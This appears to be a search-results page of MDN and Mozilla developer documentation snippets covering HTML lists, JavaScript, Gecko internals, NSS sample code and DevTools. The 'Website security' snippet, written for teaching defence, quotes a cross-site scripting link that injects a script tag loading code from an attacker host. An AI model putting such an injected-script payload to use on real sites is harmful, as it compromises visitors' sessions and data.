... in addition, so-called "single page apps" are becoming very popular — especially for mobile web uis — because having everything served as a single file cuts down on the number of http requests required to view all the content, thereby improving performance.
...let's look at the html contained within the body: <section class="info-box"> <ul> <li><a href="#" class="active">tab 1</a></li> <li><a href="#">tab 2</a></li> <li><a href="#">tab 3</a></li> </ul> <div class="panels"> <article class="active-panel"> <h2>the first tab</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 4 more matches
Styling lists - Learn web development
the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: reversed the reversed attribute will start the list counting down instead of up.
... the following example: <ol start="4" reversed> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: note: if there are more list items in a reversed list than the value of the start attribute, the count will continue to zero and then into negative values.
...the following example: <ol> <li value="2">toast pita, leave to cool, then slice down the edge.</li> <li value="4">fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li value="6">wash and chop the salad.</li> <li value="8">fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: note: even if you are using a non-number list-style-type, you still need to use the equivalent numerical values in the value attribute.
...And 4 more matches
Making asynchronous programming easier with async and await - Learn web development
try typing the following lines into your browser's js console: function hello() { return "hello" }; hello(); the function returns "hello" — nothing special, right?
...try the following: async function hello() { return "hello" }; hello(); ah.
... you can also create an async function expression, like so: let hello = async function() { return "hello" }; hello(); and you can use arrow functions: let hello = async () => { return "hello" }; these all do basically the same thing.
...And 4 more matches
Introduction to events - Learn web development
a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
... inline event handlers — don't use these you might also see a pattern like this in your code: <button onclick="bgchange()">press me</button> function bgchange() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; } note: you can find the full source code for this example on github (also see it running live).
...the above example invokes a function defined inside a <script> element on the same page, but you could also insert javascript directly inside the attribute, for example: <button onclick="alert('hello, this is my old-fashioned event handler!');">press me</button> you can find html attribute equivalents for many of the event handler properties; however, you shouldn't use these — they are considered bad practice.
...And 4 more matches
JavaScript object basics - Learn web development
objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects.
...try these in the js console: person['eyes'] = 'hazel'; person.farewell = function() { alert("bye everybody!"); } you can now test out your new members: person['eyes'] person.farewell() one useful aspect of bracket notation is that it can be used to set not only member values dynamically, but member names too.
... what is "this"?
...And 4 more matches
Website security - Learn web development
while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
...an attacker can construct a search link that contains a malicious script as a parameter (e.g., http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user.
... if the target user clicks this "interesting link", the script will be executed when the search results are displayed.
...And 4 more matches
Rendering a list of Vue components - Learn web development
in case of v-for, you use a special syntax similar to a for...in loop in javascript — v-for="item in items" — where items is the array you want to iterate over, and item is a reference to the current element in the array.
...to make sure it is re-using list elements appropriately, it needs a unique "key" on the same element that you attach v-for to.
... done: false }, { id: uniqueid('todo-'), label: 'create a vue project with the cli', done: true }, { id: uniqueid('todo-'), label: 'have fun', done: true }, { id: uniqueid('todo-'), label: 'create a to-do list', done: false } ] }; } }; now, add the v-for directive and key attribute to the <li> element in your app.vue template, like so: <ul> <li v-for="item in todoitems" :key="item.id"> <to-do-item label="my todo item" :done="true"></to-do-item> </li> </ul> when you make this change, every javascript expression between the <li> tags will have access to the item value in addition to the other component attributes.
...And 4 more matches
Accessibility API cross-reference
contentinfo <footer> page footers are often tagged as an artifact (not "real" content) with the 'contentinfo' provided as document level xmp metadata instead the mouse pointer - when and how is this used?
...screen readers often announce this as "blank" or similar, which is usually noise, rather than content.
...that's important, but does not require immediacy alert_medium n/a n/a aria-live=polite low-priority info such as a tip or hint alert_low n/a n/a n/a this object is changing or moving rapidly animated n/a n/a n/a indicates that the user input is currently directed to that object and it is "armed for selection." example: a highlighted menu item or a pressed push button.
...And 4 more matches
Accessible Toolkit Checklist
get_accname: get the "name" of the iaccessible, for example the name of a button, checkbox or menu item.
... get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a url for a link, the text a user entered in a field.
... support mnemonics in dialogs created via method calls layout engine - drawing underline under correct letter events - making keystrokes do the right thing msaa support, via iaccessible's get_acckeyboardshortcut support for ms windows settings when high contrast checkbox is set (in accessibility control panel, spi_gethighcontrast), or when user selects a "native" skin option in your software, then get all look and feel from current os skin.
...And 4 more matches
Adding a new event
all messages are defined by macro in "messages" section of basicevents.h.
... aname defines its event class specific name and it must end with "event" or "eventbase".
... all new member variables of event classes must be with "m" prefix.
...And 4 more matches
Creating reftest-based unit tests
automated testing usually compares output against an invariant, a "gold standard", that is determined to be correct.
...but the test should not fail, unless the "<blockquote>" element did not cause any indentation at all.
...sorry about this, but the released builds and the nightly builds are built with the "--disable-tests" option and reftest will not work - see bug 369809.
...And 4 more matches
Old Thunderbird build
windows build prerequisites gnu/linux build prerequisites mac os x build prerequisites get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings").
... you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
...first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout on some types of network connections, "hg clone" might fail because it gets interrupted.
...And 4 more matches
Gecko Logging
#include "mozilla/logging.h" static mozilla::lazylogmodule sfoolog("foo"); logging interface a basic interface is provided in the form of 2 macros and an enum class.
... example usage code sample #include "mozilla/logging.h" using mozilla::loglevel; static mozilla::lazylogmodule slogger("example_logger"); static void dostuff() { moz_log(slogger, loglevel::info, ("doing stuff.")); int i = 0; int start = time::nowms(); moz_log(slogger, loglevel::debug, ("starting loop.")); while (i++ < 10) { moz_log(slogger, loglevel::verbose, ("i = %d", i)); } // only calculate the elapsed time...
... if (moz_log_test(slogger, loglevel::warning)) { int elapsed = time::nowms() - start; if (elapsed > 1000) { moz_log(slogger, loglevel::warning, ("loop took %dms!", elapsed)); } } if (i != 10) { moz_log(slogger, loglevel::error, ("i should be 10!")); } } enabling logging the log level for a module is controlled by setting an environment variable before launching the application.
...And 4 more matches
Commenting IDL for better documentation
but by following the guidelines here, you can help make sure that our tools can generate a "good start" version of the documentation for your interfaces, and that the writers will be able to easily figure out what the tools are not able to do automatically.
... comment format doxygen supports several comment formats; for style and consistency reasons, we use the following: /** * */ note the two asterisks ("**") on the first line of the comment.
... * * @note the article's name should be simply "nsicookiemonster" but is not in * order to make it more obvious this is an example.
...And 4 more matches
SVG Guidelines
once again, "it depends".
...breaks (see below for more details) adding a license header use double quotes whitespace and line breaks whitespace in addition to trailing whitespace at the end of lines, there are a few more cases more specific to svgs: trailing whitespaces in attribute values (usually seen in path definitions) excessive whitespace in path or polygon points definition examples this path: <path d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable.
...metadata can mean many things, including: the typical "created with editor" comments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists.
...And 4 more matches
Message manager overview
frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to communicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but...
...these scripts are called "frame scripts".
... note that in this context, "browser" refers to the xul <browser> object, which is a frame that hosts a single web document.
...And 4 more matches
Storage access policy: Block cookies from trackers
alternatively you can report broken sites directly in firefox by clicking "report a problem" in the content blocking section of the control center (this shortcut may not be available in all versions of firefox).
...when the list is applied in firefox, we make two important changes: first, we only use the "basic protection" version of the list, which excludes some categories of trackers.
... in the future, we may expand our protections to use the "strict protection" version of the list.
...And 4 more matches
Firefox UI considerations for web developers
one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
... how an icon is selected the new tab page chooses icons to use for top sites by trying a series of methods until it obtains an icon to use: a global "top sites" list is checked.
... <link rel="apple-touch-icon" sizes="128x128" href="touch-icon-128x128.png"> <link rel="apple-touch-icon" sizes="46x46" href="touch-icon-46x46.png"> <link rel="apple-touch-icon" sizes="256x256" href="touch-icon-256x256.png"> <link rel="icon" href="favicon.ico"> in this code, the 128x128 pixel icon will be used by firefox, as it's the smallest icon which is larger than the 96-pixel size it requires.
...And 4 more matches
How to get a stacktrace for a bug report
be sure that you check the "tell mozilla about this crash" checkbox and click the restart button.
... the "details" button gives additional data about the incident, however this is not useful in a bug report.
... to access all of your submitted reports type "about:crashes" into the firefox address bar and press enter.
...And 4 more matches
Mozilla Style System Documentation
these methods may all return an existing style context rather than a new one (see stylesetimpl::getcontext), if there is a current style context with the same parent, that matches the same rules (a check that is easy because of the ruletree), and is for the same pseudo-element (or not for a pseudo-element, or a "non-element").
...this is very hard to fix because of the "sibling-sharing" optimisation.
...(the "non-element" style contexts are defined never to match any rules.) these interfaces nsistylesheet and nsistylerule correspond to the css concepts of style sheets and style rules, except they are more general, and are used by other code that needs to add style information to the document.
...And 4 more matches
Localization Use Cases
in shared/branding/official/branding, we can define browserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, we can define browserbrandshortname as follows, to mean web browser: now, coming back to apps/browser/locales/browser, we can take advantage of the grammatical cases.
... slovenian uses the locative case with its about preposition: <aboutbrowser "o {{ browserbrandshortname.locative }}"> for the official branding, we get: o firefoxu and for the unofficial branding, we end up with: o brskalniku genders in the system app's apps/system/locales/system, there's a string called crash-banner-os2.
... for polish, we can define brandshortname in shared/branding/official/branding as: <brandshortname "firefox os" _gender: "masculine"> and in shared/branding/unofficial/branding, as: <brandshortname "boot2gecko" _gender:"neutral"> now we can translate crash-banner-os2 into polish without sounding like a robot: <crashbanneros2[brandshortname::_gender] { masculine: "{{ brandshortname }} uległ awarii", feminine: "{{ brandshortname }} uległa awarii", neutral: "{{ brandshortname }} ul...
...And 4 more matches
HTTP delegation
http://ocsp.provider.com:80/cgi-bin/ocsp-responder if nss needs to access a http server, it will request that an "http server session object" be created (sec_httpserver_createsessionfcn).
... the http server session object is logically associated with host and port destination information, in our example this is "host ocsp.provider.com port 80".
...nss may choose to repeatedly call a "network connection keep alive" function (sec_httpserver_keepalivesessionfcn) on the server session object, giving application code a chance to do whatever is required.
...And 4 more matches
HTTP delegation
http://ocsp.provider.com:80/cgi-bin/ocsp-responder if nss needs to access a http server, it will request that an "http server session object" be created (sec_httpserver_createsessionfcn).
... the http server session object is logically associated with host and port destination information, in our example this is "host ocsp.provider.com port 80".
...nss may choose to repeatedly call a "network connection keep alive" function (sec_httpserver_keepalivesessionfcn) on the server session object, giving application code a chance to do whatever is required.
...And 4 more matches
NSS Sample Code sample2
*/ #include "nss.h" #include "pk11pub.h" /* example key & iv */ unsigned char gkey[] = {0xe8, 0xa7, 0x7c, 0xe2, 0x05, 0x63, 0x6a, 0x31}; unsigned char giv[] = {0xe4, 0xbb, 0x3b, 0xd3, 0xc3, 0x71, 0x2e, 0x58}; int main(int argc, char **argv) { ck_mechanism_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccon...
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
...for * des ops, internal slot is typically the best slot */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); goto out; } /* nss passes blobs around as secitems.
...And 4 more matches
NSS Sample Code sample4
the db password should be "test" and the cert * nickname should be "testca" * here is one way of doing it: * # create ca cert db, if -f not provided, prompts for passwd * $ certutil -n -d .
... * # create ca cert, self-signed, generates key-pair, prompts for key * # type, cert type etc * # answers for prompts: 5,9,n,y,-1,n,5,6,7,9,n * $ certutil -s -s "cn=test ca, o=bogus inc, l=mtn view, st=ca, c=us" \ * -n testca -t ctu,ctu,ctu -v 60 -x -d .
... */ #include "nss.h" #include "pk11pub.h" /* this callback is responsible for returning the password to the nss * key database.
...And 4 more matches
NSS Sample Code sample5
*/ #include "nss.h" #include "pk11pub.h" #define base64_encoded_subjectpublickeyinfo "mfwwdqyjkozihvcnaqebbqadswawsajbal3f6tic3jeysugo+a2fpu3w+epv/feix21dc86wynpftw4srftz2onuzyluzdhzdb+k//8dct3iaozuui3r2emcaweaaq==" #define base64_encoded_privatekeyinfo "miibvqibadanbgkqhkig9w0baqefaascat8wgge7ageaakeavcxpmhzckriy6cj5rz89tdb4sm/8v4hfbumlzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmg...
...ivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0gnewlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; certsubjectpublickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; char *pubkstr = base64_encoded_subjectpublickeyinfo; char *pvtkstr = base64_encoded_privatekeyinfo; secitem der; secitem ...
... nickname; pk11slotinfo *slot = null; /* initialize nss * you need to explicitly authenticate to the internal token if you use * nss_init insteadf of nss_nodb_init * invoke this after getting the internal token handle * pk11_authenticate(slot, pr_false, null); */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; } /* get internal slot */ slot = pk11_getinternalkeyslot(); if (slot == null) { fprintf(stderr, "couldn't find slot (err %d)\n", pr_geterror()); goto cleanup; } rv = atob_convertasciitoitem(&der, pubkstr); if (rv!= secsuccess) { fprintf(stderr, "atob_convertasciitoitem failed %d\n", pr_geterror()); goto cle...
...And 4 more matches
nss tech note5
encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism.
... you can also look at a sample program illustrating encryption hash / digest include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") <big>create digest context</big>.
...top(digestcontext, data, sizeof data); s = pk11_digestfinal(digestcontext, digest, &len, sizeof digest); /* now, digest contains the 'digest', and len contains the length of the digest */</big> clean up pk11_destroycontext(digestcontext, pr_true); you can also look at a sample program illustrating this hash / digest with secret key included include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a digest mechanism.
...And 4 more matches
Python binding for NSS
design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs.
... be "pythonic".
... nss/nspr objects which have "get" and "set" api function calls are exposed as python properties.
...And 4 more matches
Necko Architecture
because a uri has no self knowledge about what "protocol" it represents, another component is responsible for deciding which channel implementation will be responsible for "loading" the uri.
...for example, the http protocol handler registers itself as the protocol handler for "http." the http protocol handler creates http channels for http urls.
...however, a protocol handler implementation also might "cache" the underlying transports so channels it creates can reuse them later.
...And 4 more matches
Installing Pork
to tell mcpp which gcc installation to integrate itself with, place the selected gcc bin dir as the first element of your path: path=/bindir/of/my/gcc:$path if you want to use a gcc that has binaries named something other than "gcc" and "g++", or you use "ccache" for you main gcc installation and want mcpp to override a separate installation, you need to pass the options "cc=gccxxx cxx=g++xxx" to "./configure".
... svn co https://mcpp.svn.sourceforge.net/svnroot/mcpp/trunk mcpp cd mcpp ./configure --enable-replace-cpp make sudo make install note: if you followed the dehydra installation instructions for linux and compiled your own gcc, then you should not need to "sudo" make install.
... if you run simply "make install" and see file permission errors, mcpp is likely trying to override your main gcc installation.
...And 4 more matches
Pork Tool Development
files and locations most tools are in the "oink" directory.
... the "renamer" tool is used as an example; tests are in the "oink/renamer_tests" subdirectory.
... replacement for the "renamer" tool, a diff file is generated as the ast is traversed, using the visitor pattern.
...And 4 more matches
Index
it can be read as something like an "ideal future state" for the engine.
... full documentation of how to define a jsnative (or a jsfastnative, the equivalent typedef which preceded it) is available in the api header "js/callargs.h" added in spidermonkey 24.
...the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created.
...And 4 more matches
Aggregating the In-Memory Datasource
say you were writing a datasource2, and the way you chose to implement it was to "wrap" the in-memory datasource; i.e., myclass : public nsimyinterface, public nsirdfdatasource { private: nscomptr<nsirdfdatasource> minner; public: // nsirdfdatasource methods ns_imethod init(const char* auri) { return minner->init(auri); } ns_imethod geturi(char* *auri) { return minner->geturi(auri); } // etc., for each method in nsirdfdatasource!
... when it won't work although this magic is terribly convenient to use, it won't work in the case that you want to "override" some of the in-memory datasource's methods.
... for example, while writing the bookmarks datasource, i wanted to be able to trap assert() to enforce the bookmarks datasource would only accept "bookmarks related" assertions.
...And 4 more matches
Creating a Python XPCOM component
defining the interface make a file named "nsipysimple.idl" to define the interface: #include "nsisupports.idl" [scriptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsipysimple : nsisupports { attribute string yourname; void write( ); void change(in string avalue); }; this is the same as the nsisimple interface used here.
...registering the interface in the "components" directory, execute : ../xpidl -m typelib -w -v -i /usr/share/idl/mozilla/ nsipysimple.idl on windows you must point to the idl directory as part of your mozilla build.
...make a file named "py_simple.py" for the actual code (again, in the 'components' directory): from xpcom import components, verbose class pysimple: #pythontestcomponent _com_interfaces_ = components.interfaces.nsipysimple _reg_clsid_ = "{c456ceb5-f142-40a8-becc-764911bc8ca5}" _reg_contractid_ = "@mozilla.org/pysimple;1" def __init__(self): self.yourname = "a default name" # or mname ?
...And 4 more matches
Using XPCOM Components
the snippet in getting the cookiemanager component in javascript shows how the remove() method from the xpcom cookiemanager component can be called from javascript: getting the cookiemanager component in javascript // xpconnect to cookiemanager // get the cookie manager component in javascript var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); cmgr = cmgr.queryinterface(components.interfaces.nsicookiemanager); // called as part of a largerdeleteallcookies() function function finalizecookiedeletions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path); ...
...though not every api in mozilla is or should be "xpcomified", much if not all of the typical functionality that browsers provide is available in components that can be reused via browser extensions and/or gecko embedders.
... xpcom component viewer the left column shows the components - in this case a subset returned from a search on "gfx" as part of the contract id and the right column a list of the interfaces.
...And 4 more matches
Components.utils.Sandbox
system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) when possible...
...for example the content principal above can be made expanded/extended like so: var principal = [gbrowser.selectedtab.linkedbrowser.contentprincipal]; // this is now an expanded (aka extended) principal var sandbox = components.utils.sandbox(principal); null principal you can create a null principal using code like: cc["@mozilla.org/nullprincipal;1"].createinstance(ci.nsiprincipal); from firefox 37 onwards, you can also specify the null principal by simply passing null as the principal argument.
... the exception is "-promise": the promise constructor is available by default for sandboxes, and you use this option to remove it from the sandbox.
...And 4 more matches
mozIStorageFunction
javascript starting in gecko 1.9.1.4 (firefox 3.0.15), you can directly pass your function into the mozistorageconnection method mozistorageconnection, like this: dbconn.createfunction("square", 1, function(aarguments) { let value = aarguments.getint32(0); return value * value; }); // run some query that uses the function.
... let stmt = dbconn.createstatement("select square(value) from some_table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } in earlier versions of gecko, however, you'll need to actually create an object containing the onfunctioncall method.
...dbconn.createfunction("square", 1, squarefunction); // run some query that uses the function.
...And 4 more matches
nsIAppStartup
to use the service: var appstartup = components.classes["@mozilla.org/toolkit/app-startup;1"] .getservice(components.interfaces.nsiappstartup); method overview void createhiddenwindow(); boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.9.1 void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); ...
... nativeappsupport nsinativeappsupport getter for "native application support." read only.
...one and only one of the "quit" flags must be specified.
...And 4 more matches
nsIEffectiveTLDService
to use this service, use: var etldservice = components.classes["@mozilla.org/network/effective-tld-service;1"] .getservice(components.interfaces.nsieffectivetldservice); the name "effective tld service" is a historical one; today, the items this interface manipulates are called public suffixes, and the list of them is the public suffix list, or psl.
... the methods below implement the public suffix algorithm in full, including the implicit "*" rule.
... therefore, if you call getpublicsuffix("a.b.c.nonexistent"), you will get back "nonexistent" - this "tld" is not in the public suffix list, but the implicit "*" rule means that it is returned.
...And 4 more matches
nsIMacDockSupport
to create an instance, use: var dock = components.classes["@mozilla.org/widget/macdocksupport;1"] .getservice(components.interfaces.nsimacdocksupport); see working with the mac os x dock for details and examples.
...the menu items are "new window" and "new private window".
... if permanent private browsing mode is enabled then the "new private window" menu item is hidden.
...And 4 more matches
nsIPluginHost
"direct" -- no proxy "proxy xxx.xxx.xxx.xxx" -- use proxy "socks xxx.xxx.xxx.xxx" -- use socks mixed.
... for example "proxy 111.111.111.111;proxy 112.112.112.112", "proxy 111.111.111.111;socks 112.112.112.112"....
... native code only!instantiatedummyjavaplugin instantiate a "dummy" java plugin if a java plugin that supports npruntime is installed.
...And 4 more matches
nsISelectionController
this is still true when the caret is enabled, visible, but in its "off" blink cycle.
...this will also have the effect of collapsing the selection if the extend = pr_false the "point" of selection that is extended is considered the "focus" point, or the last point adjusted by the selection.
...completemove() will move page view to the top or bottom of the document this will also have the effect of collapsing the selection if the extend = pr_false the "point" of selection that is extended is considered the "focus" point, or the last point adjusted by the selection.
...And 4 more matches
nsIWindowWatcher
note: this method may dispatch a "toplevel-window-ready" notification via nsiobserverservice if the window did not already exist.
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open.
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open for details.
...And 4 more matches
Autoconfiguration in Thunderbird
for example, for the email address fred@example.com , the lookup is performed as (in this order): tb-install-dir/isp/example.com.xml on the harddisk check for autoconfig.example.com look up of "example.com" in the ispdb look up "mx example.com" in dns, and for mx1.mail.hoster.com, look up "hoster.com" in the ispdb try to guess (imap.example.com, smtp.example.com etc.) we may add dns srv records as supported mechanism in the future, but we currently do not.
... how to add support for your domain classification if you are a big isp (> 100,000 users) providing email addresses solely under a few domains like "example.com" and "example.de", you may either submit the configuration to the ispdb or set up a configuration server.
... if you support email aliases and the user's login name is not part of the email address (for example, users may have "hero@example.com" as email address, but the imap/pop/smtp login name is neither "hero" nor "hero@example.com", but "u67578"), you need to set up a configuration server, which does the email address -> login name lookup.
...And 4 more matches
Using popup notifications
popup notifications, also known as "doorhanger notifications", are presented to notify the user of something that's important but may not need immediate attention.
... then you can create the popup notification at the appropriate time like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", callback: function() { alert("doing something awesome!"); } }, null /* secondary action */ ); in this case, we aren't providing any secondary actions; that is, actions provided to...
...you can use this to style the icon, like this: .popup-notification-icon[popupid="sample-popup"] { list-style-image: url("chrome://popupnotifications/skin/mozlogo.png"); } with this css in place, the result is the look we want: adding secondary options to provide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popu...
...And 4 more matches
Using COM from js-ctypes
speech synthesis example let's start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait until the speaking done.
... #include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { ispvoice* pvoice = null; hresult hr = cocreateinstance(clsid_spvoice, null, clsctx_all, iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio).
... #include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { struct ispvoice* pvoice = null; hresult hr = cocreateinstance(&clsid_spvoice, null, clsctx_all, &iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following command in the directory.
...And 4 more matches
Declaring types
{ fieldn: typen } ] example for example, to support the c tm structure using js-ctypes, you would use the following code: const struct_tm = new ctypes.structtype("tm", [ { "tm_sec": ctypes.int }, { "tm_min": ctypes.int }, { "tm_hour": ctypes.int }, { "tm_mday": ctypes.int }, { "tm_mon": ctypes.int }, { "tm_year": ctypes.int }, { "tm_wday": ctypes.int }, {...
... "tm_yday": ctypes.int }, { "tm_isdst": ctypes.int } ]); to find other types see here: predefined types - primitive types.
... const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); var thetime = new struct_tm; thetime.tm_hour = 3; thetime.tm_min = 15; ...
...And 4 more matches
URLs - Plugins
url scheme description about locates browser information or "fun" pages.
... for more information, see rfc 3986, "uniform resource identifier (uri): generic syntax", and the iana uri scheme registry.
... err = npn_geturl( instance, "http://www.example.com/", "_blank"); posting urls posting data to an http server uploading files to an ftp server sending mail the plug-in calls npn_posturl to post data from a file or buffer to a url.
...And 4 more matches
Basic operations - Firefox Developer Tools
to enable it, open the developer tool settings, and check the "memory" box under "default firefox developer tools": from firefox 50 onwards, the memory tool is enabled by default.
... taking a heap snapshot to take a snapshot of the heap, click the "take snapshot" button, or the camera icon on the left: the snapshot will occupy the large pane on the right-hand side.
... on the left, you'll see an entry for the new snapshot, including its timestamp, size, and controls to save or clear this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: saving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded.
...And 4 more matches
Work with animations - Firefox Developer Tools
right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the contents of the animation inspector here: it shows a synchronized timeline for every animation applied to the selected element or its children.
... to the left of the selector is a "target" icon ().
...hovering over these selectors, we can see that those elements are, respectively, the browser name "firefox developer edition" and the browser icon.
...And 4 more matches
Storage Inspector - Firefox Developer Tools
opening the storage inspector you can open the storage inspector by selecting "storage inspector" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its shift + f9 keyboard shortcut.
...it's just called "storage" in the developer toolbox.
...for example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.
...And 4 more matches
Taking screenshots - Firefox Developer Tools
to enable it: visit the settings page find the section labeled "available toolbox buttons" check the box labeled "take a screenshot of the entire page".
...the screenshot is saved to your browser's "downloads" directory: taking a screenshot of an element to take a screenshot of a single element in the page, activate the context menu on that element in the inspector's html pane, and select "screenshot node".
... the screenshot is saved to the browser's "downloads" directory: copying screenshots to the clipboard from firefox 53, you can also copy the screenshot to the clipboard.
...And 4 more matches
Web Console Helpers - Firefox Developer Tools
for example, if you type "2+2 <enter>", then "$_ <enter>", the console will print 4.
...the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, any_type is used.
...the file should have a ".png" extension.
...And 4 more matches
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
audio track kind strings the kinds available for audio tracks are: "alternative" a potential alternative to the main track, such as a different audio take or a version of the soundtrack with only the music and no dialogue.
... "descriptions" an audio track providing audible descriptions of the action depicted in a video track.
... "main" the primary audio track.
...And 4 more matches
AudioTrack - Web APIs
for example, the main audio track would have a kind of "main".
...for example, an audio commentary track for a movie might have a label of "commentary with director john q.
... public and actors john doe and jane eod." this string is empty if no label is provided.
...And 4 more matches
CanvasRenderingContext2D.lineJoin - Web APIs
syntax ctx.linejoin = "bevel" || "round" || "miter"; options there are three possible values for this property: "round", "bevel", and "miter".
... the default is "miter".
... "round" rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of connected segments.
...And 4 more matches
Introduction to the DOM - Web APIs
